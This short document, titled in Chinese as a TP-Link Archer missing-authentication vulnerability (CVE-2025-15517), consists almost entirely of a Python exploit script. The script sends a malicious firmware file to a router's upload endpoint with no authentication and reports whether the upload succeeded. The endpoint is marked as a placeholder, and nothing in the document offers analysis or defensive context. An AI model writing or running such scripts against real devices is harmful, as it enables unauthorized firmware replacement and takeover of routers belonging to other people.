CVE-2025-15517 TP-Link Archer认证缺失漏洞

import requests # Exploit Title: TP-Link Archer NX Series Auth Bypass (CVE-2025-15517) # Description: Uploads a malicious firmware file without authentication. # Target configuration target_ip = "192.168.0.1" # Replace with the router's IP address endpoint = "/cgi-bin/upload_firmware" # Vulnerable endpoint placeholder url = f"http://{target_ip}{endpoint}" # Prepare the malicious firmware file files = {'firmware': ('malicious.bin', open('malicious.bin', 'rb'), 'application/octet-stream')} try: # Send POST request without authentication headers print(f"[*] Sending exploit payload to {url}...") response = requests.post(url, files=files, timeout=10) # Check response if response.status_code == 200: print("[+] Exploit successful! Firmware uploaded.") else: print(f"[-] Exploit failed. Server returned: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")